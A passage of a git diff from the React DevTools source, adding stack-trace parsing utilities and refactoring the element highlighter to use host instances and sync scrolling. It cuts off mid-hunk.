+  path: Array<string | number>,
+  index: number = 0,
+): Object | Array<any> {
+  const key = path[index];
+  const updated = isArray(obj) ? obj.slice() : {...obj};
+  if (index + 1 === path.length) {
+    if (isArray(updated)) {
+      updated.splice(((key: any): number), 1);
+    } else {
+      delete updated[key];
+    }
+  } else {
+    // $FlowFixMe[incompatible-use] number or string is fine here
+    updated[key] = copyWithDelete(obj[key], path, index + 1);
+  }
+  return updated;
+}
+
+// This function expects paths to be the same except for the final value.
+// e.g. ['path', 'to', 'foo'] and ['path', 'to', 'bar']
+export function copyWithRename(
+  obj: Object | Array<any>,
+  oldPath: Array<string | number>,
+  newPath: Array<string | number>,
+  index: number = 0,
+): Object | Array<any> {
+  const oldKey = oldPath[index];
+  const updated = isArray(obj) ? obj.slice() : {...obj};
+  if (index + 1 === oldPath.length) {
+    const newKey = newPath[index];
+    // $FlowFixMe[incompatible-use] number or string is fine here
+    updated[newKey] = updated[oldKey];
+    if (isArray(updated)) {
+      updated.splice(((oldKey: any): number), 1);
+    } else {
+      delete updated[oldKey];
+    }
+  } else {
+    // $FlowFixMe[incompatible-use] number or string is fine here
+    updated[oldKey] = copyWithRename(obj[oldKey], oldPath, newPath, index + 1);
+  }
+  return updated;
+}
+
+export function copyWithSet(
+  obj: Object | Array<any>,
+  path: Array<string | number>,
+  value: any,
+  index: number = 0,
+): Object | Array<any> {
+  if (index >= path.length) {
+    return value;
+  }
+  const key = path[index];
+  const updated = isArray(obj) ? obj.slice() : {...obj};
+  // $FlowFixMe[incompatible-use] number or string is fine here
+  updated[key] = copyWithSet(obj[key], path, value, index + 1);
+  return updated;
+}
+
+export function getEffectDurations(root: Object): {
+  effectDuration: any | null,
+  passiveEffectDuration: any | null,
+} {
+  // Profiling durations are only available for certain builds.
+  // If available, they'll be stored on the HostRoot.
+  let effectDuration = null;
+  let passiveEffectDuration = null;
+  const hostRoot = root.current;
+  if (hostRoot != null) {
+    const stateNode = hostRoot.stateNode;
+    if (stateNode != null) {
+      effectDuration =
+        stateNode.effectDuration != null ? stateNode.effectDuration : null;
+      passiveEffectDuration =
+        stateNode.passiveEffectDuration != null
+          ? stateNode.passiveEffectDuration
+          : null;
+    }
+  }
+  return {effectDuration, passiveEffectDuration};
+}
+
+export function serializeToString(data: any): string {
+  if (data === undefined) {
+    return 'undefined';
+  }
+
+  if (typeof data === 'function') {
+    return data.toString();
+  }
+
+  const cache = new Set<mixed>();
+  // Use a custom replacer function to protect against circular references.
+  return JSON.stringify(
+    data,
+    (key: string, value: any) => {
+      if (typeof value === 'object' && value !== null) {
+        if (cache.has(value)) {
+          return;
+        }
+        cache.add(value);
+      }
+      if (typeof value === 'bigint') {
+        return value.toString() + 'n';
+      }
+      return value;
+    },
+    2,
+  );
+}
+
+function safeToString(val: any): string {
+  try {
+    return String(val);
+  } catch (err) {
+    if (typeof val === 'object') {
+      // An object with no prototype and no `[Symbol.toPrimitive]()`, `toString()`, and `valueOf()` methods would throw.
+      // See https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String#string_coercion
+      return '[object Object]';
+    }
+    throw err;
+  }
+}
+
+// based on https://github.com/tmpfs/format-util/blob/0e62d430efb0a1c51448709abd3e2406c14d8401/format.js#L1
+// based on https://developer.mozilla.org/en-US/docs/Web/API/console#Using_string_substitutions
+// Implements s, d, i and f placeholders
+export function formatConsoleArgumentsToSingleString(
+  maybeMessage: any,
+  ...inputArgs: $ReadOnlyArray<any>
+): string {
+  const args = inputArgs.slice();
+
+  let formatted: string = safeToString(maybeMessage);
+
+  // If the first argument is a string, check for substitutions.
+  if (typeof maybeMessage === 'string') {
+    if (args.length) {
+      const REGEXP = /(%?)(%([jds]))/g;
+
+      // $FlowFixMe[incompatible-call]
+      formatted = formatted.replace(REGEXP, (match, escaped, ptn, flag) => {
+        let arg = args.shift();
+        switch (flag) {
+          case 's':
+            // $FlowFixMe[unsafe-addition]
+            arg += '';
+            break;
+          case 'd':
+          case 'i':
+            arg = parseInt(arg, 10).toString();
+            break;
+          case 'f':
+            arg = parseFloat(arg).toString();
+            break;
+        }
+        if (!escaped) {
+          return arg;
+        }
+        args.unshift(arg);
+        return match;
+      });
+    }
+  }
+
+  // Arguments that remain after formatting.
+  if (args.length) {
+    for (let i = 0; i < args.length; i++) {
+      formatted += ' ' + safeToString(args[i]);
+    }
+  }
+
+  // Update escaped %% values.
+  formatted = formatted.replace(/%{2,2}/g, '%');
+
+  return String(formatted);
+}
+
+export function isSynchronousXHRSupported(): boolean {
+  return !!(
+    window.document &&
+    window.document.featurePolicy &&
+    window.document.featurePolicy.allowsFeature('sync-xhr')
+  );
+}
+
+export function gt(a: string = '', b: string = ''): boolean {
+  return compareVersions(a, b) === 1;
+}
+
+export function gte(a: string = '', b: string = ''): boolean {
+  return compareVersions(a, b) > -1;
+}
+
+export const isReactNativeEnvironment = (): boolean => {
+  // We've been relying on this for such a long time
+  // We should probably define the client for DevTools on the backend side and share it with the frontend
+  return window.document == null;
+};
+
+// 0.123456789 => 0.123
+// Expects high-resolution timestamp in milliseconds, like from performance.now()
+// Mainly used for optimizing the size of serialized profiling payload
+export function formatDurationToMicrosecondsGranularity(
+  duration: number,
+): number {
+  return Math.round(duration * 1000) / 1000;
+}
diff --git a/packages/react-devtools-shared/src/backend/utils/parseStackTrace.js b/packages/react-devtools-shared/src/backend/utils/parseStackTrace.js
new file mode 100644
index 000000000000..e18c2d7baa1b
--- /dev/null
+++ b/packages/react-devtools-shared/src/backend/utils/parseStackTrace.js
@@ -0,0 +1,366 @@
+/**
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import type {ReactStackTrace, ReactFunctionLocation} from 'shared/ReactTypes';
+
+function parseStackTraceFromChromeStack(
+  stack: string,
+  skipFrames: number,
+): ReactStackTrace {
+  if (stack.startsWith('Error: react-stack-top-frame\n')) {
+    // V8's default formatting prefixes with the error message which we
+    // don't want/need.
+    stack = stack.slice(29);
+  }
+  let idx = stack.indexOf('react_stack_bottom_frame');
+  if (idx === -1) {
+    idx = stack.indexOf('react-stack-bottom-frame');
+  }
+  if (idx !== -1) {
+    idx = stack.lastIndexOf('\n', idx);
+  }
+  if (idx !== -1) {
+    // Cut off everything after the bottom frame since it'll be internals.
+    stack = stack.slice(0, idx);
+  }
+  const frames = stack.split('\n');
+  const parsedFrames: ReactStackTrace = [];
+  // We skip top frames here since they may or may not be parseable but we
+  // want to skip the same number of frames regardless. I.e. we can't do it
+  // in the caller.
+  for (let i = skipFrames; i < frames.length; i++) {
+    const parsed = chromeFrameRegExp.exec(frames[i]);
+    if (!parsed) {
+      continue;
+    }
+    let name = parsed[1] || '';
+    let isAsync = parsed[8] === 'async ';
+    if (name === '<anonymous>') {
+      name = '';
+    } else if (name.startsWith('async ')) {
+      name = name.slice(5);
+      isAsync = true;
+    }
+    let filename = parsed[2] || parsed[5] || '';
+    if (filename === '<anonymous>') {
+      filename = '';
+    }
+    const line = +(parsed[3] || parsed[6] || 0);
+    const col = +(parsed[4] || parsed[7] || 0);
+    parsedFrames.push([name, filename, line, col, 0, 0, isAsync]);
+  }
+  return parsedFrames;
+}
+
+const firefoxFrameRegExp = /^((?:.*".+")?[^@]*)@(.+):(\d+):(\d+)$/;
+function parseStackTraceFromFirefoxStack(
+  stack: string,
+  skipFrames: number,
+): ReactStackTrace {
+  let idx = stack.indexOf('react_stack_bottom_frame');
+  if (idx === -1) {
+    idx = stack.indexOf('react-stack-bottom-frame');
+  }
+  if (idx !== -1) {
+    idx = stack.lastIndexOf('\n', idx);
+  }
+  if (idx !== -1) {
+    // Cut off everything after the bottom frame since it'll be internals.
+    stack = stack.slice(0, idx);
+  }
+  const frames = stack.split('\n');
+  const parsedFrames: ReactStackTrace = [];
+  // We skip top frames here since they may or may not be parseable but we
+  // want to skip the same number of frames regardless. I.e. we can't do it
+  // in the caller.
+  for (let i = skipFrames; i < frames.length; i++) {
+    const parsed = firefoxFrameRegExp.exec(frames[i]);
+    if (!parsed) {
+      continue;
+    }
+    const name = parsed[1] || '';
+    const filename = parsed[2] || '';
+    const line = +parsed[3];
+    const col = +parsed[4];
+    parsedFrames.push([name, filename, line, col, 0, 0, false]);
+  }
+  return parsedFrames;
+}
+
+const CHROME_STACK_REGEXP = /^\s*at .*(\S+:\d+|\(native\))/m;
+export function parseStackTraceFromString(
+  stack: string,
+  skipFrames: number,
+): ReactStackTrace {
+  if (stack.match(CHROME_STACK_REGEXP)) {
+    return parseStackTraceFromChromeStack(stack, skipFrames);
+  }
+  return parseStackTraceFromFirefoxStack(stack, skipFrames);
+}
+
+let framesToSkip: number = 0;
+let collectedStackTrace: null | ReactStackTrace = null;
+
+const identifierRegExp = /^[a-zA-Z_$][0-9a-zA-Z_$]*$/;
+
+function getMethodCallName(callSite: CallSite): string {
+  const typeName = callSite.getTypeName();
+  const methodName = callSite.getMethodName();
+  const functionName = callSite.getFunctionName();
+  let result = '';
+  if (functionName) {
+    if (
+      typeName &&
+      identifierRegExp.test(functionName) &&
+      functionName !== typeName
+    ) {
+      result += typeName + '.';
+    }
+    result += functionName;
+    if (
+      methodName &&
+      functionName !== methodName &&
+      !functionName.endsWith('.' + methodName) &&
+      !functionName.endsWith(' ' + methodName)
+    ) {
+      result += ' [as ' + methodName + ']';
+    }
+  } else {
+    if (typeName) {
+      result += typeName + '.';
+    }
+    if (methodName) {
+      result += methodName;
+    } else {
+      result += '<anonymous>';
+    }
+  }
+  return result;
+}
+
+function collectStackTrace(
+  error: Error,
+  structuredStackTrace: CallSite[],
+): string {
+  const result: ReactStackTrace = [];
+  // Collect structured stack traces from the callsites.
+  // We mirror how V8 serializes stack frames and how we later parse them.
+  for (let i = framesToSkip; i < structuredStackTrace.length; i++) {
+    const callSite = structuredStackTrace[i];
+    let name =
+      // $FlowFixMe[method-unbinding]
+      typeof callSite.getFunctionName === 'function'
+        ? callSite.getFunctionName() || '<anonymous>'
+        : '';
+    if (
+      name.includes('react_stack_bottom_frame') ||
+      name.includes('react-stack-bottom-frame')
+    ) {
+      // Skip everything after the bottom frame since it'll be internals.
+      break;
+      // $FlowFixMe[method-unbinding]
+    } else if (typeof callSite.isNative === 'function' && callSite.isNative()) {
+      const isAsync =
+        // $FlowFixMe[prop-missing]
+        // $FlowFixMe[incompatible-use]
+        typeof callSite.isAsync === 'function' && callSite.isAsync();
+      result.push([name, '', 0, 0, 0, 0, isAsync]);
+    } else {
+      // We encode complex function calls as if they're part of the function
+      // name since we cannot simulate the complex ones and they look the same
+      // as function names in UIs on the client as well as stacks.
+      if (
+        // $FlowFixMe[method-unbinding]
+        typeof callSite.isConstructor === 'function' &&
+        callSite.isConstructor()
+      ) {
+        name = 'new ' + name;
+      } else if (
+        // $FlowFixMe[method-unbinding]
+        typeof callSite.isToplevel === 'function' &&
+        !callSite.isToplevel()
+      ) {
+        name = getMethodCallName(callSite);
+      }
+      if (name === '<anonymous>') {
+        name = '';
+      }
+      let filename =
+        // $FlowFixMe[method-unbinding]
+        typeof callSite.getScriptNameOrSourceURL === 'function'
+          ? callSite.getScriptNameOrSourceURL() || '<anonymous>'
+          : '';
+      if (filename === '<anonymous>') {
+        filename = '';
+        // $FlowFixMe[method-unbinding]
+        if (typeof callSite.isEval === 'function' && callSite.isEval()) {
+          const origin =
+            // $FlowFixMe[method-unbinding]
+            typeof callSite.getEvalOrigin === 'function'
+              ? callSite.getEvalOrigin()
+              : null;
+          if (origin) {
+            filename = origin.toString() + ', <anonymous>';
+          }
+        }
+      }
+      const line =
+        // $FlowFixMe[method-unbinding]
+        (typeof callSite.getLineNumber === 'function' &&
+          callSite.getLineNumber()) ||
+        0;
+      const col =
+        // $FlowFixMe[method-unbinding]
+        (typeof callSite.getColumnNumber === 'function' &&
+          callSite.getColumnNumber()) ||
+        0;
+      const enclosingLine: number =
+        // $FlowFixMe[prop-missing]
+        typeof callSite.getEnclosingLineNumber === 'function'
+          ? (callSite: any).getEnclosingLineNumber() || 0
+          : 0;
+      const enclosingCol: number =
+        // $FlowFixMe[prop-missing]
+        typeof callSite.getEnclosingColumnNumber === 'function'
+          ? (callSite: any).getEnclosingColumnNumber() || 0
+          : 0;
+      const isAsync =
+        // $FlowFixMe[prop-missing]
+        // $FlowFixMe[incompatible-use]
+        typeof callSite.isAsync === 'function' && callSite.isAsync();
+      result.push([
+        name,
+        filename,
+        line,
+        col,
+        enclosingLine,
+        enclosingCol,
+        isAsync,
+      ]);
+    }
+  }
+  collectedStackTrace = result;
+
+  // At the same time we generate a string stack trace just in case someone
+  // else reads it. Ideally, we'd call the previous prepareStackTrace to
+  // ensure it's in the expected format but it's common for that to be
+  // source mapped and since we do a lot of eager parsing of errors, it
+  // would be slow in those environments. We could maybe just rely on those
+  // environments having to disable source mapping globally to speed things up.
+  // For now, we just generate a default V8 formatted stack trace without
+  // source mapping as a fallback.
+  const name = error.name || 'Error';
+  const message = error.message || '';
+  let stack = name + ': ' + message;
+  for (let i = 0; i < structuredStackTrace.length; i++) {
+    stack += '\n    at ' + structuredStackTrace[i].toString();
+  }
+  return stack;
+}
+
+// This matches either of these V8 formats.
+//     at name (filename:0:0)
+//     at filename:0:0
+//     at async filename:0:0
+//     at Array.map (<anonymous>)
+const chromeFrameRegExp =
+  /^ *at (?:(.+) \((?:(.+):(\d+):(\d+)|\<anonymous\>)\)|(?:async )?(.+):(\d+):(\d+)|\<anonymous\>)$/;
+
+const stackTraceCache: WeakMap<Error, ReactStackTrace> = new WeakMap();
+
+export function parseStackTrace(
+  error: Error,
+  skipFrames: number,
+): ReactStackTrace {
+  // We can only get structured data out of error objects once. So we cache the information
+  // so we can get it again each time. It also helps performance when the same error is
+  // referenced more than once.
+  const existing = stackTraceCache.get(error);
+  if (existing !== undefined) {
+    return existing;
+  }
+  // We override Error.prepareStackTrace with our own version that collects
+  // the structured data. We need more information than the raw stack gives us
+  // and we need to ensure that we don't get the source mapped version.
+  collectedStackTrace = null;
+  framesToSkip = skipFrames;
+  const previousPrepare = Error.prepareStackTrace;
+  Error.prepareStackTrace = collectStackTrace;
+  let stack;
+  try {
+    stack = String(error.stack);
+  } finally {
+    Error.prepareStackTrace = previousPrepare;
+  }
+
+  if (collectedStackTrace !== null) {
+    const result = collectedStackTrace;
+    collectedStackTrace = null;
+    stackTraceCache.set(error, result);
+    return result;
+  }
+
+  // If the stack has already been read, or this is not actually a V8 compatible
+  // engine then we might not get a normalized stack and it might still have been
+  // source mapped. Regardless we try our best to parse it.
+
+  const parsedFrames = parseStackTraceFromString(stack, skipFrames);
+  stackTraceCache.set(error, parsedFrames);
+  return parsedFrames;
+}
+
+export function extractLocationFromOwnerStack(
+  error: Error,
+): ReactFunctionLocation | null {
+  const stackTrace = parseStackTrace(error, 1);
+  const stack = error.stack;
+  if (
+    !stack.includes('react_stack_bottom_frame') &&
+    !stack.includes('react-stack-bottom-frame')
+  ) {
+    // This didn't have a bottom to it, we can't trust it.
+    return null;
+  }
+  // We start from the bottom since that will have the best location for the owner itself.
+  for (let i = stackTrace.length - 1; i >= 0; i--) {
+    const [functionName, fileName, line, col, encLine, encCol] = stackTrace[i];
+    // Take the first match with a colon in the file name.
+    if (fileName.indexOf(':') !== -1) {
+      return [
+        functionName,
+        fileName,
+        // Use enclosing line if available, since that points to the start of the function.
+        encLine || line,
+        encCol || col,
+      ];
+    }
+  }
+  return null;
+}
+
+export function extractLocationFromComponentStack(
+  stack: string,
+): ReactFunctionLocation | null {
+  const stackTrace = parseStackTraceFromString(stack, 0);
+  for (let i = 0; i < stackTrace.length; i++) {
+    const [functionName, fileName, line, col, encLine, encCol] = stackTrace[i];
+    // Take the first match with a colon in the file name.
+    if (fileName.indexOf(':') !== -1) {
+      return [
+        functionName,
+        fileName,
+        // Use enclosing line if available. (Never the case here because we parse from string.)
+        encLine || line,
+        encCol || col,
+      ];
+    }
+  }
+  return null;
+}
diff --git a/packages/react-devtools-shared/src/backend/views/Highlighter/Highlighter.js b/packages/react-devtools-shared/src/backend/views/Highlighter/Highlighter.js
index 8dbd727c8470..ddcb6f1ef11a 100644
--- a/packages/react-devtools-shared/src/backend/views/Highlighter/Highlighter.js
+++ b/packages/react-devtools-shared/src/backend/views/Highlighter/Highlighter.js
@@ -8,6 +8,7 @@
  */
 
 import type Agent from 'react-devtools-shared/src/backend/agent';
+import type {HostInstance} from '../../types';
 
 import {isReactNativeEnvironment} from 'react-devtools-shared/src/backend/utils';
 
@@ -37,12 +38,15 @@ export function hideOverlay(agent: Agent): void {
     : hideOverlayWeb();
 }
 
-function showOverlayNative(elements: Array<HTMLElement>, agent: Agent): void {
+function showOverlayNative(
+  elements: $ReadOnlyArray<HostInstance>,
+  agent: Agent,
+): void {
   agent.emit('showNativeHighlight', elements);
 }
 
 function showOverlayWeb(
-  elements: Array<HTMLElement>,
+  elements: $ReadOnlyArray<HTMLElement>,
   componentName: string | null,
   agent: Agent,
   hideAfterTimeout: boolean,
@@ -63,12 +67,17 @@ function showOverlayWeb(
 }
 
 export function showOverlay(
-  elements: Array<HTMLElement>,
+  elements: $ReadOnlyArray<HostInstance>,
   componentName: string | null,
   agent: Agent,
   hideAfterTimeout: boolean,
 ): void {
   return isReactNativeEnvironment()
     ? showOverlayNative(elements, agent)
-    : showOverlayWeb(elements, componentName, agent, hideAfterTimeout);
+    : showOverlayWeb(
+        (elements: $ReadOnlyArray<any>),
+        componentName,
+        agent,
+        hideAfterTimeout,
+      );
 }
diff --git a/packages/react-devtools-shared/src/backend/views/Highlighter/Overlay.js b/packages/react-devtools-shared/src/backend/views/Highlighter/Overlay.js
index 29f425cee614..e55bdb4298c4 100644
--- a/packages/react-devtools-shared/src/backend/views/Highlighter/Overlay.js
+++ b/packages/react-devtools-shared/src/backend/views/Highlighter/Overlay.js
@@ -187,13 +187,17 @@ export default class Overlay {
     }
   }
 
-  inspect(nodes: Array<HTMLElement>, name?: ?string) {
+  inspect(nodes: $ReadOnlyArray<HTMLElement | Text>, name?: ?string) {
     // We can't get the size of text nodes or comment nodes. React as of v15
     // heavily uses comment nodes to delimit text.
-    const elements = nodes.filter(node => node.nodeType === Node.ELEMENT_NODE);
+    // TODO: We actually can measure text nodes. We should.
+    const elements: $ReadOnlyArray<HTMLElement> = (nodes.filter(
+      node => node.nodeType === Node.ELEMENT_NODE,
+    ): any);
 
     while (this.rects.length > elements.length) {
       const rect = this.rects.pop();
+      // $FlowFixMe[incompatible-use]
       rect.remove();
     }
     if (elements.length === 0) {
@@ -233,19 +237,9 @@ export default class Overlay {
       name = elements[0].nodeName.toLowerCase();
 
       const node = elements[0];
-      const rendererInterface =
-        this.agent.getBestMatchingRendererInterface(node);
-      if (rendererInterface) {
-        const id = rendererInterface.getFiberIDForNative(node, true);
-        if (id) {
-          const ownerName = rendererInterface.getDisplayNameForFiberID(
-            id,
-            true,
-          );
-          if (ownerName) {
-            name += ' (in ' + ownerName + ')';
-          }
-        }
+      const ownerName = this.agent.getComponentNameForHostInstance(node);
+      if (ownerName) {
+        name += ' (in ' + ownerName + ')';
       }
     }
 
diff --git a/packages/react-devtools-shared/src/backend/views/Highlighter/index.js b/packages/react-devtools-shared/src/backend/views/Highlighter/index.js
index 3f1ad02dbfcf..03397012b536 100644
--- a/packages/react-devtools-shared/src/backend/views/Highlighter/index.js
+++ b/packages/react-devtools-shared/src/backend/views/Highlighter/index.js
@@ -7,12 +7,13 @@
  * @flow
  */
 
-import memoize from 'memoize-one';
-import throttle from 'lodash.throttle';
 import Agent from 'react-devtools-shared/src/backend/agent';
 import {hideOverlay, showOverlay} from './Highlighter';
+import {isReactNativeEnvironment} from 'react-devtools-shared/src/backend/utils';
 
+import type {HostInstance} from 'react-devtools-shared/src/backend/types';
 import type {BackendBridge} from 'react-devtools-shared/src/bridge';
+import type {RendererInterface} from '../../types';
 
 // This plug-in provides in-page highlighting of the selected element.
 // It is used by the browser extension and the standalone DevTools shell (when connected to a browser).
@@ -20,21 +21,98 @@ import type {BackendBridge} from 'react-devtools-shared/src/bridge';
 // That is done by the React Native Inspector component.
 
 let iframesListeningTo: Set<HTMLIFrameElement> = new Set();
+let inspectOnlySuspenseNodes = false;
 
 export default function setupHighlighter(
   bridge: BackendBridge,
   agent: Agent,
 ): void {
-  bridge.addListener(
-    'clearNativeElementHighlight',
-    clearNativeElementHighlight,
-  );
-  bridge.addListener('highlightNativeElement', highlightNativeElement);
-  bridge.addListener('shutdown', stopInspectingNative);
-  bridge.addListener('startInspectingNative', startInspectingNative);
-  bridge.addListener('stopInspectingNative', stopInspectingNative);
-
-  function startInspectingNative() {
+  bridge.addListener('clearHostInstanceHighlight', clearHostInstanceHighlight);
+  bridge.addListener('highlightHostInstance', highlightHostInstance);
+  bridge.addListener('highlightHostInstances', highlightHostInstances);
+  bridge.addListener('scrollToHostInstance', scrollToHostInstance);
+  bridge.addListener('shutdown', stopInspectingHost);
+  bridge.addListener('startInspectingHost', startInspectingHost);
+  bridge.addListener('stopInspectingHost', stopInspectingHost);
+  bridge.addListener('scrollTo', scrollDocumentTo);
+  bridge.addListener('requestScrollPosition', sendScroll);
+
+  let applyingScroll = false;
+
+  function scrollDocumentTo({
+    left,
+    top,
+    right,
+    bottom,
+  }: {
+    left: number,
+    top: number,
+    right: number,
+    bottom: number,
+  }) {
+    if (isReactNativeEnvironment()) {
+      // Not implemented.
+      return;
+    }
+
+    if (
+      left === Math.round(window.scrollX) &&
+      top === Math.round(window.scrollY)
+    ) {
+      return;
+    }
+    applyingScroll = true;
+    window.scrollTo({
+      top: top,
+      left: left,
+      behavior: 'smooth',
+    });
+  }
+
+  let scrollTimer = null;
+  function sendScroll() {
+    if (isReactNativeEnvironment()) {
+      // Not implemented.
+      return;
+    }
+
+    if (scrollTimer) {
+      clearTimeout(scrollTimer);
+      scrollTimer = null;
+    }
+    if (applyingScroll) {
+      return;
+    }
+    const left = window.scrollX;
+    const top = window.scrollY;
+    const right = left + window.innerWidth;
+    const bottom = top + window.innerHeight;
+    bridge.send('scrollTo', {left, top, right, bottom});
+  }
+
+  function scrollEnd() {
+    // Upon scrollend send it immediately.
+    sendScroll();
+    applyingScroll = false;
+  }
+
+  if (
+    typeof document === 'object' &&
+    // $FlowFixMe[method-unbinding]
+    typeof document.addEventListener === 'function'
+  ) {
+    document.addEventListener('scroll', () => {
+      if (!scrollTimer) {
+        // Periodically synchronize the scroll while scrolling.
+        scrollTimer = setTimeout(sendScroll, 400);
+      }
+    });
+
+    document.addEventListener('scrollend', scrollEnd);
+  }
+
+  function startInspectingHost(onlySuspenseNodes: boolean) {
+    inspectOnlySuspenseNodes = onlySuspenseNodes;
     registerListenersOnWindow(window);
   }
 
@@ -53,7 +131,7 @@ export default function setupHighlighter(
     }
   }
 
-  function stopInspectingNative() {
+  function stopInspectingHost() {
     hideOverlay(agent);
     removeListenersOnWindow(window);
     iframesListeningTo.forEach(function (frame) {
@@ -81,22 +159,22 @@ export default function setupHighlighter(
     }
   }
 
-  function clearNativeElementHighlight() {
+  function clearHostInstanceHighlight() {
     hideOverlay(agent);
   }
 
-  function highlightNativeElement({
+  function highlightHostInstance({
     displayName,
     hideAfterTimeout,
     id,
-    openNativeElementsPanel,
+    openBuiltinElementsPanel,
     rendererID,
     scrollIntoView,
   }: {
     displayName: string | null,
     hideAfterTimeout: boolean,
     id: number,
-    openNativeElementsPanel: boolean,
+    openBuiltinElementsPanel: boolean,
     rendererID: number,
     scrollIntoView: boolean,
     ...
@@ -110,16 +188,89 @@ export default function setupHighlighter(
     }
 
     // In some cases fiber may already be unmounted
-    if (!renderer.hasFiberWithId(id)) {
+    if (!renderer.hasElementWithId(id)) {
       hideOverlay(agent);
       return;
     }
 
-    const nodes: ?Array<HTMLElement> = (renderer.findNativeNodesForFiberID(
-      id,
-    ): any);
+    const nodes = renderer.findHostInstancesForElementID(id);
+    if (nodes != null) {
+      for (let i = 0; i < nodes.length; i++) {
+        const node = nodes[i];
+        if (node === null) {
+          continue;
+        }
+        const nodeRects =
+          // $FlowFixMe[method-unbinding]
+          typeof node.getClientRects === 'function'
+            ? node.getClientRects()
+            : [];
+        if (
+          typeof node.getClientRects === 'undefined' || // If Host doesn't implement getClientRects, try to show the overlay.
+          (nodeRects.length > 0 && //                      If this is currently display: none, then try another node.
+            (nodeRects.length > 2 || //                    This can happen when one of the host instances is a hoistable.
+              nodeRects[0].width > 0 ||
+              nodeRects[0].height > 0))
+        ) {
+          // $FlowFixMe[method-unbinding]
+          if (scrollIntoView && typeof node.scrollIntoView === 'function') {
+            if (scrollDelayTimer) {
+              clearTimeout(scrollDelayTimer);
+              scrollDelayTimer = null;
+            }
+            // If the node isn't visible show it before highlighting it.
+            // We may want to reconsider this; it might be a little disruptive.
+            node.scrollIntoView({block: 'nearest', inline: 'nearest'});
+          }
+
+          showOverlay(nodes, displayName, agent, hideAfterTimeout);
+
+          if (openBuiltinElementsPanel) {
+            window.__REACT_DEVTOOLS_GLOBAL_HOOK__.$0 = node;
+            bridge.send('syncSelectionToBuiltinElementsPanel');
+          }
+          return;
+        }
+      }
+    }
+
+    hideOverlay(agent);
+  }
+
+  function highlightHostInstances({
+    displayName,
+    hideAfterTimeout,
+    elements,
+    scrollIntoView,
+  }: {
+    displayName: string | null,
+    hideAfterTimeout: boolean,
+    elements: Array<{rendererID: number, id: number}>,
+    scrollIntoView: boolean,
+  }) {
+    const nodes: Array<HostInstance> = [];
+    for (let i = 0; i < elements.length; i++) {
+      const {id, rendererID} = elements[i];
+      const renderer = agent.rendererInterfaces[rendererID];
+      if (renderer == null) {
+        console.warn(`Invalid renderer id "${rendererID}" for element "${id}"`);
+        continue;
+      }
+
+      // In some cases fiber may already be unmounted
+      if (!renderer.hasElementWithId(id)) {
+        continue;
+      }
+
+      const hostInstances = renderer.findHostInstancesForElementID(id);
+      if (hostInstances !== null) {
+        for (let j = 0; j < hostInstances.length; j++) {
+          nodes.push(hostInstances[j]);
+        }
+      }
+    }
 
-    if (nodes != null && nodes[0] != null) {
+    if (nodes.length > 0) {
       const node = nodes[0];
       // $FlowFixMe[method-unbinding]
       if (scrollIntoView && typeof node.scrollIntoView === 'function') {
@@ -127,15 +278,128 @@ export default function setupHighlighter(
         // We may want to reconsider this; it might be a little disruptive.
         node.scrollIntoView({block: 'nearest', inline: 'nearest'});
       }
+    }
 
-      showOverlay(nodes, displayName, agent, hideAfterTimeout);
+    showOverlay(nodes, displayName, agent, hideAfterTimeout);
+  }
 
-      if (openNativeElementsPanel) {
-        window.__REACT_DEVTOOLS_GLOBAL_HOOK__.$0 = node;
-        bridge.send('syncSelectionToNativeElementsPanel');
+  function attemptScrollToHostInstance(
+    renderer: RendererInterface,
+    id: number,
+  ) {
+    const nodes = renderer.findHostInstancesForElementID(id);
+    if (nodes != null) {
+      for (let i = 0; i < nodes.length; i++) {
+        const node = nodes[i];
+        if (node === null) {
+          continue;
+        }
+        const nodeRects =
+          // $FlowFixMe[method-unbinding]
+          typeof node.getClientRects === 'function'
+            ? node.getClientRects()
+            : [];
+        // If this is currently display: none, then try another node.
+        // This can happen when one of the host instances is a hoistable.
+        if (
+          nodeRects.length > 0 &&
+          (nodeRects.length > 2 ||
+            nodeRects[0].width > 0 ||
+            nodeRects[0].height > 0)
+        ) {
+          // $FlowFixMe[method-unbinding]
+          if (typeof node.scrollIntoView === 'function') {
+            node.scrollIntoView({
+              block: 'nearest',
+              inline: 'nearest',
+              behavior: 'smooth',
+            });
+            return true;
+          }
+        }
       }
-    } else {
-      hideOverlay(agent);
+    }
+    return false;
+  }
+
+  let scrollDelayTimer = null;
+  function scrollToHostInstance({
+    id,
+    rendererID,
+  }: {
+    id: number,
+    rendererID: number,
+  }) {
+    // Always hide the existing overlay so it doesn't obscure the element.
+    // If you wanted to show the overlay, highlightHostInstance should be used instead
+    // with the scrollIntoView option.
+    hideOverlay(agent);
+
+    if (isReactNativeEnvironment()) {
+      // Not implemented.
+      return;
+    }
+
+    if (scrollDelayTimer) {
+      clearTimeout(scrollDelayTimer);
+      scrollDelayTimer = null;
+    }
+
+    const renderer = agent.rendererInterfaces[rendererID];
+    if (renderer == null) {
+      console.warn(`Invalid renderer id "${rendererID}" for element "${id}"`);
+      return;
+    }
+
+    // In some cases fiber may already be unmounted
+    if (!renderer.hasElementWithId(id)) {
+      return;
+    }
+
+    if (attemptScrollToHostInstance(renderer, id)) {
+      return;
+    }
+
+    // It's possible that the current state of a Suspense boundary doesn't have a position
+    // in the tree. E.g. because it's not yet mounted in the state we're moving to.
+    // Such as if it's in a null tree or inside another boundary's hidden state.
+    // In this case we use the last known position and try to scroll to that.
+    const rects = renderer.findLastKnownRectsForID(id);
+    if (rects !== null && rects.length > 0) {
+      let x = Infinity;
+      let y = Infinity;
+      for (let i = 0; i < rects.length; i++) {
+        const rect = rects[i];
+        if (rect.x < x) {
+          x = rect.x;
+        }
+        if (rect.y < y) {
+          y = rect.y;
+        }
+      }
+      const element = document.documentElement;
+      if (!element) {
+        return;
+      }
+      // Check if the target corner is already in the viewport.
+      if (
+        x < window.scrollX ||
+        y < window.scrollY ||
+        x > window.scrollX + element.clientWidth ||
+        y > window.scrollY + element.clientHeight
+      ) {
+        window.scrollTo({
+          top: y,
+          left: x,
+          behavior: 'smooth',
+        });
+      }
+      // It's possible that after mount, we're able to scroll deeper once the new nodes
+      // have mounted. Let's try again after mount. Ideally we'd know which commit this
+      // is going to be but for now we just try after 100ms.
+      scrollDelayTimer = setTimeout(() => {
+        attemptScrollToHostInstance(renderer, id);
+      }, 100);
     }
   }
 
@@ -143,9 +407,9 @@ export default function setupHighlighter(
     event.preventDefault();
     event.stopPropagation();
 
-    stopInspectingNative();
